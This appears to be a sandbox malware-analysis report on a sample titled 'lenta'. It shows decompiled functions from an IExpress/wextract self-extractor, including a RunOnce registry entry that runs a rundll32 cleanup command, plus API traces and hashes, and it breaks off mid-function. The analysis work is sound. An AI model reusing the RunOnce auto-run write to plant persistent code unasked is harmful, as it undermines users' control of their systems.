0x003d2878
0x003d288c
0x00000000
0x003d287a
0x003d2880
0x003d2885
0x003d2897
0x003d2899
0x003d2899
0x003d2878
0x003d2865
0x003d28a0
0x003d28bf
0x003d28c1
0x00000000
0x00000000
0x003d28c1
0x003d2831
0x003d27dd
0x003d27d5
0x003d28e5

APIs

CharUpperA.USER32(F4FC83B5,00000000,00000000,00000000), ref: 003D27A8
CharNextA.USER32(0000054D), ref: 003D27B5
CharNextA.USER32(00000000), ref: 003D27BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003D2829
RegQueryValueExA.ADVAPI32(?,003D1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003D2852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003D2870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003D28A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 003D28AA
GetSystemDirectoryA.KERNEL32 ref: 003D28B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 003D27E4

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 1fb932c5708d389cb9eac9e054d7a1e3a7e460b3e4c14c19521174fd48d965da
Instruction ID: 7d3a75b57a0dbffbba9bde8daacdaf44b43b7297c5fe4202e7e16d8ec0e4c2f5
Opcode Fuzzy Hash: 1fb932c5708d389cb9eac9e054d7a1e3a7e460b3e4c14c19521174fd48d965da
Instruction Fuzzy Hash: 4B4184B290012CAFDB269B64FC45AEA77BDEB65700F0040A7F545D2210DB708E859FA1

Uniqueness

Uniqueness Score: -1.00%

Function 003D2267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E003D2267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0x3d8004; // 0xf4fc83b5
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0x3d8530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E003D658A( &_v268, 0x104, 0x3d1140);
							}
							_push("C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
							E003D171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup0", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E003D6CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x003d2272
0x003d2277
0x003d2279
0x003d2283
0x003d2289
0x003d22ab
0x003d22b1
0x003d22c4
0x003d22e0
0x003d22e6
0x003d22f5
0x003d230d
0x003d231c
0x003d231c
0x003d2321
0x003d233a
0x003d2342
0x003d2348
0x003d234b
0x003d234c
0x003d234c
0x003d234e
0x003d234f
0x003d236e
0x003d236e
0x003d237a
0x003d2380
0x003d2380
0x003d2381
0x003d2381
0x003d238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 003D22A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 003D22D8
memset.MSVCRT ref: 003D22F5
GetSystemDirectoryA.KERNEL32 ref: 003D2305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 003D236E
RegCloseKey.ADVAPI32(?), ref: 003D237A

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D2321
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 003D2299
wextract_cleanup0, xrefs: 003D227C, 003D22CD, 003D2363
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 003D232D

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-4285006626
Opcode ID: 9b14ef8ac92588a4f00c8dbf0c8f4ef6a429239637c9bdd2f17ae19ab98a7b00
Instruction ID: 83c1af30d6a5c2cb843efcff5dd9204c4a4680f7c91563ab263c0e7a4f685369
Opcode Fuzzy Hash: 9b14ef8ac92588a4f00c8dbf0c8f4ef6a429239637c9bdd2f17ae19ab98a7b00
Instruction Fuzzy Hash: C1319876A012186BDB239B65FC49FDB777CEF55700F0001A7F50DAA151EA71AB88CA50

Uniqueness

Uniqueness Score: -1.00%

Function 003D3100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E003D3100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0x3d8590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0x3d8590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E003D43D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0x3d8d4c);
					SetWindowTextA(_t33, "lenta");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0x3d88b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E003D30C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x003d3108
0x003d310b
0x003d31b7
0x003d31ca
0x003d31d0
0x003d31d0
0x003d31da
0x00000000
0x003d31da
0x003d3111
0x003d3114
0x003d3136
0x003d3136
0x003d3138
0x003d313b
0x003d3141
0x00000000
0x003d3143
0x003d3116
0x003d311b
0x003d314b
0x003d3151
0x003d3158
0x003d316a
0x003d3176
0x003d317d
0x003d318b
0x003d319e
0x003d31a3
0x00000000
0x003d31ad
0x003d3120
0x00000000
0x00000000
0x003d312a
0x003d3134
0x00000000
0x00000000
0x00000000
0x003d3134
0x003d312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 003D313B
GetDesktopWindow.USER32 ref: 003D314B
SetDlgItemTextA.USER32(?,00000834), ref: 003D316A
SetWindowTextA.USER32(?,lenta), ref: 003D3176
SetForegroundWindow.USER32(?), ref: 003D317D
GetDlgItem.USER32(?,00000834), ref: 003D3185
GetWindowLongA.USER32(00000000,000000FC), ref: 003D3190
SetWindowLongA.USER32(00000000,000000FC,003D30C0), ref: 003D31A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 003D31CA

Strings

lenta, xrefs: 003D3170

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: lenta
API String ID: 3785188418-2780258678
Opcode ID: 72f90f1262209429effed696e305278e237a3a5d273de5a3c11e62ef86189445
Instruction ID: 602741374be8dd2d502d6d4967a5e4bcc332bcf3b249de99c48a51c64e007e55
Opcode Fuzzy Hash: 72f90f1262209429effed696e305278e237a3a5d273de5a3c11e62ef86189445
Instruction Fuzzy Hash: AE11B132646612BBDB136F24BD0CBAA3B6CFB4A720F110613F815922E0DB709A41D747

Uniqueness

Uniqueness Score: -1.00%

Function 003D468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E003D468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x003d4699
0x003d469b
0x003d46a9
0x003d46af
0x003d46b4
0x003d46bc
0x003d46f9
0x00000000
0x003d46f9
0x003d46d9
0x003d46dd
0x00000000
0x00000000
0x003d46e5
0x003d46ef
0x00000000
0x003d46f5
0x003d46ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46A0
SizeofResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46C3
LoadResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46CC
LockResource.KERNEL32(00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46D3
memcpy_s.MSVCRT ref: 003D46E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46EF

Strings

TITLE, xrefs: 003D469D, 003D46C0
lenta, xrefs: 003D46E4

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$lenta
API String ID: 3370778649-2035842925
Opcode ID: 8ed8b123df45e6570c7de8c01fb469e3253d0aecb27ebe4da203e1cf4d59f55d
Instruction ID: fda3b40d92f154f0f8667337101296eea2a1b30a4ffe8d92b641a2f0907da3e2
Opcode Fuzzy Hash: 8ed8b123df45e6570c7de8c01fb469e3253d0aecb27ebe4da203e1cf4d59f55d
Instruction Fuzzy Hash: C501D1332417007BE3221BA57D0DF2B3F2CDBCAB62F054016FB4A86280C9B1C84082A2

Uniqueness

Uniqueness Score: -1.00%

Function 003D681F Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E003D681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t19 ^ _t44;
				_t41 =  *0x3d81d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0x3d81d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0x3d81d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0x3d1140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E003D66F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0x3d81d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				_t18 =  &_v8; // 0x3d463b
				return E003D6CE0(_t41, _t36,  *_t18 ^ _t44, _t40, _t41, _t43);
			}

0x003d681f
0x003d682a
0x003d6831
0x003d6836
0x003d683c
0x003d683e
0x003d6848
0x003d6851
0x003d685d
0x003d6864
0x003d6876
0x003d693a
0x003d693a
0x003d687c
0x003d687e
0x003d6885
0x00000000
0x003d68d6
0x003d68f4
0x003d6900
0x003d6902
0x003d690a
0x00000000
0x003d690c
0x003d690c
0x003d691c
0x00000000
0x003d691e
0x003d6924
0x003d692b
0x003d6932
0x00000000
0x00000000
0x00000000
0x003d692b
0x003d691c
0x003d690a
0x003d6885
0x003d6876
0x003d6940
0x003d6951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 003D686E
GetSystemMetrics.USER32(0000004A), ref: 003D68A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003D68CC
RegQueryValueExA.ADVAPI32(?,003D1140,00000000,?,?,0000000C), ref: 003D68F4
RegCloseKey.ADVAPI32(?), ref: 003D6902

Part of subcall function 003D66F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,003D691A), ref: 003D6741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 003D68C2
;F=, xrefs: 003D6940

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: ;F=$Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-732160682
Opcode ID: 06bbe1e9543a200f140d281451b13e1c201f19a105ab37da6c6e74971f229c56
Instruction ID: dcdfb2736b77f19165dc6234a1fe5538e713b998c4bae44e9d68f681b56fe53e
Opcode Fuzzy Hash: 06bbe1e9543a200f140d281451b13e1c201f19a105ab37da6c6e74971f229c56
Instruction Fuzzy Hash: 11318432E012189FDB33DB51EC16BAA777CEB85718F0501A7E959A6240DB309D89CF52

Uniqueness

Uniqueness Score: -1.00%

Function 003D17EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E003D17EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0x3da288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E003D6CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x003d17f6
0x003d17fd
0x003d1805
0x003d180b
0x003d180d
0x003d1815
0x003d1818
0x003d1820
0x003d1824
0x003d182c
0x003d1832
0x003d1837
0x003d1851
0x003d1854
0x003d185d
0x003d1862
0x003d186c
0x003d1872
0x003d1877
0x003d187e
0x003d187e
0x003d1883
0x003d1883
0x003d185d
0x003d188a
0x003d188a
0x003d18a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003D18DD), ref: 003D181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 003D182C
AllocateAndInitializeSid.ADVAPI32(003D18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003D18DD), ref: 003D1855
FreeSid.ADVAPI32(?,?,?,?,003D18DD), ref: 003D1883
FreeLibrary.KERNEL32(00000000,?,?,?,003D18DD), ref: 003D188A

Strings

advapi32.dll, xrefs: 003D1810
CheckTokenMembership, xrefs: 003D1826

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: d9d8053cec7495492b3f954213b751863ad649e8971f65d91951b176ff16dcf0
Instruction ID: 5c5f1560be59a3623b4e559943058e98f10dd8f5339997bbba493f7a98f33a42
Opcode Fuzzy Hash: d9d8053cec7495492b3f954213b751863ad649e8971f65d91951b176ff16dcf0
Instruction Fuzzy Hash: 25118172E01209BBDB129FA4FD49ABEBB78EF44701F10016BF901E3390DA709D048B91

Uniqueness

Uniqueness Score: -1.00%

Function 003D3450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D3450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E003D43D0(_t24, _t12);
					SetWindowTextA(_t24, "lenta");
					SetDlgItemTextA(_t24, 0x838,  *0x3d9404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0x3d91dc = 1;
					goto L8;
				}
				return 0;
			}

0x003d3459
0x003d345c
0x003d34d8
0x003d34de
0x00000000
0x003d34e0
0x003d345e
0x003d3463
0x003d349a
0x003d34a0
0x003d34a7
0x003d34b2
0x003d34c4
0x003d34cb
0x00000000
0x003d34cb
0x003d3468
0x003d346e
0x003d3474
0x00000000
0x00000000
0x003d347c
0x003d348c
0x003d3490
0x00000000
0x003d3496
0x003d3484
0x00000000
0x00000000
0x003d3486
0x00000000
0x003d3486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 003D3490
GetDesktopWindow.USER32 ref: 003D349A
SetWindowTextA.USER32(?,lenta), ref: 003D34B2
SetDlgItemTextA.USER32(?,00000838), ref: 003D34C4
SetForegroundWindow.USER32(?), ref: 003D34CB
EndDialog.USER32(?,00000002), ref: 003D34D8

Strings

lenta, xrefs: 003D34AC

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: lenta
API String ID: 852535152-2780258678
Opcode ID: 3c1054a44f5724e468e160a5916be8690b0da071b6cb3ee6a2fe70a50b6600f7
Instruction ID: 9062f34d9b0286da2d915e401f777df46fa550caaf92e3077b2ae7df6201d693
Opcode Fuzzy Hash: 3c1054a44f5724e468e160a5916be8690b0da071b6cb3ee6a2fe70a50b6600f7
Instruction Fuzzy Hash: 6F01D433242525ABC7175F6AFD0C9AE3B78EB05700F024013F94696BA0CB388F51CB82

Uniqueness

Uniqueness Score: -1.00%

Function 003D2AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E003D2AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0x3d8004; // 0xf4fc83b5
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0x3d9a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E003D1680(_t65, E003D17C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E003D65E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E003D1680(_t65, E003D17C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E003D6CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x003d2aac
0x003d2ab7
0x003d2abc
0x003d2abe
0x003d2ac3
0x003d2ac6
0x003d2ac9
0x003d2ace
0x003d2ae6
0x003d2bdc
0x003d2bdc
0x003d2be0
0x00000000
0x00000000
0x003d2af2
0x003d2afc
0x003d2b00
0x003d2b05
0x003d2b05
0x003d2b0b
0x003d2bca
0x003d2bd1
0x003d2b11
0x003d2b18
0x003d2b26
0x003d2b99
0x003d2bc8
0x00000000
0x00000000
0x003d2b9b
0x003d2bae
0x003d2bb3
0x003d2bb5
0x003d2bb5
0x003d2bb8
0x003d2bb8
0x003d2bba
0x003d2bbb
0x00000000
0x003d2bb8
0x003d2b28
0x003d2b2e
0x003d2b33
0x003d2b39
0x003d2b3c
0x003d2b3c
0x003d2b3e
0x003d2b3f
0x003d2b55
0x003d2b5d
0x003d2b64
0x003d2b64
0x003d2b7a
0x003d2b7f
0x003d2b81
0x003d2b81
0x003d2b84
0x003d2b84
0x003d2b86
0x003d2b87
0x003d2bbf
0x003d2bc1
0x003d2bc1
0x003d2b26
0x003d2bda
0x003d2bda
0x003d2be6
0x003d2be6
0x003d2bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 003D2AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 003D2AF2
CharNextA.USER32(?), ref: 003D2B12
CharUpperA.USER32 ref: 003D2B1E
CharPrevA.USER32(?,?), ref: 003D2B55
CharNextA.USER32(?), ref: 003D2BD4

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: a36337f5254eae1c92dfaac5f6a39872bc11aa7d209859a0626e9b9709781cc4
Instruction ID: 56ee8582734a51427434878229395876f30f1d4b9a2c25925d0940ec4bd56e22
Opcode Fuzzy Hash: a36337f5254eae1c92dfaac5f6a39872bc11aa7d209859a0626e9b9709781cc4
